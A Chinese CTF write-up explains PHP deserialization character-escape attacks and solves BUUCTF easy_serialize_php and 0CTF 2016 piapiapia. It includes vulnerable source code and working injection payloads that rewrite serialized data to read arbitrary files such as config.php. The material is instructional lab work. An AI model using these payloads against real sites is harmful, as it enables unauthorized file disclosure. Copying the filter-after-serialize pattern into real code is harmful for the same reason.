0%

php反序列化字符逃逸

php反序列化字符逃逸,其实就是利用过滤函数会使序列化字符串增长或缩短的特性,来构造新的序列化字符串进行攻击。

漏洞成因

序列化字符串在经过过滤函数不正确的处理而导致对象注入,主要原因是过滤函数放在了serialize函数之后

缩短逃逸

参考文章

BUUCTF之[安洵杯 2019]easy_serialize_php

代码审计

<?php
$function = @$_GET['f']; #从$_GET超全局数组中获取一个名为 f 的键的对应值,使用错误控制运算符 @ 来抑制可能发生的任何错误。GET传参f的值
extract($_POST); #数组的键成为新变量的名称,而数组的值成为这些变量的值。
#_SESSION[phpflag] = ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
#$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));
if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
#将匹配的部分替换为空字符串(删除,这里好像可以双写绕过不确定)
}
?>

extract()函数

extract()函数用于将数组中的键值对转换为变量。使用extract()函数时,数组的键成为新变量的名称,而数组的值成为这些变量的值。

根据extract()我们可以进行变量覆盖,当我们传入SESSION[flag]=123时,SESSION["user"]SESSION['function']全部会消失,只剩下SESSION[flag]=123

<?php
$arr = array('name'=>'jt');
extract($arr);
echo $name;
?>
#输出:jt

反序列化字符逃逸

<?php
// extract($_POST);
$_SESSION['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
// echo file_get_contents(base64_decode($userinfo['img']));
echo $serialize_info;
#a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
/*
s:7:"";s:48:";s:1:"1";
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
*/
echo serialize($_SESSION);
#a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
?>

解题

构造的序列化串为;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

$_SESSION['phpflag'] = ';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';

由于是由extract($_POST)重新设置的变量,最终payload
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image-20241118231728369 image-20241118231700590

/d0g3_fllllllag里应该就是flag了,将payload中的ZDBnM19mMWFnLnBocA==替换成L2QwZzNfZmxsbGxsbGFn即可。

增长逃逸

通过下面这个例子学习一下:

不能对$pass进行改动,要求输出hack

<?php 
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}';
// public $name = 'aaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;
?>

==[0CTF 2016]piapiapia==

关键代码:

<?php
require_once('class.php');
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
}
------------------------------------------------------------------------------------
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
#------------------------profile.php----------------------------
<?php
require_once('class.php');
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
-------------------------------------------------------------------------------
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}

解题

​ 序列化后,紧接着就是对序列化字符串进行过滤,想到反序列化字符逃逸漏洞,where->hacker本题是增长逃逸。

​ 利用数组绕过preg_matchnickname的检查,传入nickname[]即可。

因为前面是数组,所以闭合方式由";变成了**";}**,因此也要多加一个where,最后的payload如下:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere
";}s:5:"photo";s:10:"config.php";}

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere
";s:5:"photo";s:10:"config.php";}

​ 拿到了后门文件后发现www目录下有许多.php文件,但是依然没有任何思路,傻傻的分析这些代码还以为是sql注入🙃。看wp才知道要访问一下这些文件的路由,其实分析代码的时候也能看出来这些.php文件都是可以访问的。

​ 这道题思路payload都没问题后,还是一直打不通,换了两个bp三个浏览器,Hackbar也尝试过,都失败了😭。解决过程:
经过不同的测试后发现可能是bp里虽然修改了,但是提交的数据还是原来的内容,我还一直以为是我bp的问题。最后发现其实是将数据包发送到Repeater后的修改无效😅,真离谱。所以抓包后要先修改内容,再把数据包发送到Repeater,这样的修改才是有效的。